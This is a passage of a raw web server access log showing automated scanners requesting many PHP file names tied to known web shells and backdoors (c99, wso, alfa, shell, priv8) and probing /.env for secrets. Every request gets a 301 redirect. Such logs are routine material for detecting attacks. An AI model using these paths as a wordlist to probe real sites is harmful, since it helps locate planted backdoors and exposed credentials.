[22/Apr/2025:20:37:16 -0400] "GET /BIBIL_0DAY.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:17 -0400] "GET /Casper.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:18 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:20 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:22 -0400] "GET /IDhrIlrLb.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:23 -0400] "GET /Js.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:25 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:26 -0400] "GET /MYK4TJEfFvO.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:28 -0400] "GET /NFXxUAA.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:30 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:31 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:32 -0400] "GET /OK.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:33 -0400] "GET /OthioNDwMEK.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:34 -0400] "GET /aQzODIgoBr.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:35 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:36 -0400] "GET /ab1ux1ft.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:37 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:38 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:39 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:40 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:41 -0400] "GET /add_actualites.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:42 -0400] "GET /addslashes.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:43 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:44 -0400] "GET /admin.php1 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:47 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:48 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:49 -0400] "GET /aksinet.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:51 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:53 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:54 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:54 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:56 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:57 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:58 -0400] "GET /alumni_reg.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:59 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:00 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:01 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:01 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:02 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:03 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:04 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:05 -0400] "GET /bihnmimh.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:06 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:07 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:08 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:10 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:11 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:12 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:13 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:14 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:15 -0400] "GET /cJLGqzB.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:17 -0400] "GET /cache-base.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:18 -0400] "GET /cadastro-2.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:19 -0400] "GET /catuploadcsv.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:19 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:20 -0400] "GET /class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:21 -0400] "GET /class-IXR-encryption.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:22 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:23 -0400] "GET /class-walker-category-dropdown-class.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:25 -0400] "GET /class-walker-comment-beta.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:38:28 -0400] "GET /class-wp-cmd.php HTTP/1.1" 301 795 "-" "-" 146.70.194.244 - - [22/Apr/2025:20:48:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 43.135.142.37 - - [22/Apr/2025:21:06:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.12.37 - - [22/Apr/2025:22:17:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.118.228 - - [22/Apr/2025:22:47:24 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 52.40.40.32 - - [22/Apr/2025:23:18:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 49.51.183.15 - - [22/Apr/2025:23:21:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 167.172.21.236 - - [22/Apr/2025:23:39:47 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:39:49 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:39:53 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:39:57 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:00 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:07 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:17 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:23 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:29 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:32 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:35 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:38 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:42 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:46 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:48 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:53 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:40:57 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:03 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:07 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:11 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:15 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:20 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:23 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:27 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:30 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:33 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:36 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:42 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:48 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:54 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:41:58 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:00 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:05 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:10 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:12 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:16 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:20 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:26 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:29 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:32 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:35 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:38 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:40 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:44 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:47 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:54 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:42:58 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:02 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:06 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:10 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:15 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:17 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:22 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:27 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:31 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:36 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:39 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:43 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:45 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:49 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:52 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:55 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:56 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:43:58 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:02 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:04 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:07 -0400] "GET /V3.php 